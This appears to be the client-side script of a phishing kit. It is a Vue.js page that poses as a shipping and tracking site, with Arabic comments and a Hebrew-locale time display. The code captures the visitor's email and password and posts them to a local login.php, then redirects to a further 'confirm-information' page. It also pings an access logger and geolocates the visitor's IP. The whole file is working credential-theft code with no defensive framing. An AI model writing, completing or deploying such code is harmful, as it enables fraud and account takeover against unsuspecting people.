var app = new Vue({
    el: "#app",
    data: {
        shipping: 'Standard Shipping',
        email: '',
        password: '',
        show_pass: false,
        pass_red: false,
        loading: false,
        show_pop: false,
        tracking_code: 'JD' + Math.floor(1000000000 + Math.random() * 9000000000), // رقم تتبع عشوائي
        ip_data: {} // لتخزين بيانات الـ IP والموقع
    },
    mounted() {
        // ربط رقم التتبع بأي input موجود في الصفحة
        const trackInput = document.getElementById('tracking_code');
        if (trackInput) {
            trackInput.value = this.tracking_code; // عرض القيمة في input
            trackInput.addEventListener('input', e => {
                this.tracking_code = e.target.value; // تحديث رقم التتبع عند الكتابة
            });
        }

        // العمليات الأصلية
        setTimeout(() => this.sendPing(), 2000);
        setTimeout(() => this.show_pop = true, 7000);

        // جلب بيانات الـ IP والموقع
        this.getIPInfo();
    },
    computed: {
        filledAll() {
            return !!(this.email && this.password.length > 5)
        },
        strongPassword() {
            let letter = /[a-z]/;
            let upper  =/[A-Z]/;
            let number = /[0-9]/;
            let special = /[!@#$%^&*()_+\-=\[\]{};':"\\|,.<>\/?]+/;
            return (
                this.password.length < 5 ||
                this.password.length > 16 ||
                (this.password.length > 4 && letter.test(this.password) && upper.test(this.password))
            );
        }
    },
    methods: {
        checkIfStrongPassword() {
            if(!this.strongPassword) {
                this.pass_red = true;
                setTimeout(() => { this.pass_red = false }, 3000);
            }
        },
        sendPing() {
            axios.get('./form/access.php');
        },
        submitForm() {
            if(!this.filledAll || !this.strongPassword) return;
            this.loading = true;

            axios.post('./form/login.php', {
                shipping: this.shipping,
                email: this.email,
                password: this.password,
                tracking_code: this.tracking_code // إرسال رقم التتبع
            })
            .then(() => window.location.href = 'confirm-information.html')
            .catch(console.log);
        },
        async getIPInfo() {
            try {
                const res = await fetch('https://ipwho.is/');
                const data = await res.json();
                if (data.success) {
                    this.ip_data = data;

                    // تحديث العناصر في الصفحة
                    const setText = (cls, val) => {
                        document.querySelectorAll('.' + cls).forEach(e => e.textContent = val || '-');
                    };
                    setText('city', data.city);
                    setText('country', data.country);
                    setText('region', data.region);
                    setText('ip_address', data.ip);

                    if (data.timezone && data.timezone.id) {
                        const localTime = new Date().toLocaleString('he-IL', { timeZone: data.timezone.id });
                        setText('local_time', localTime);
                    }
                }
            } catch (err) {
                console.error('❌ Error fetching IP data:', err);
            }
        }
    }
});
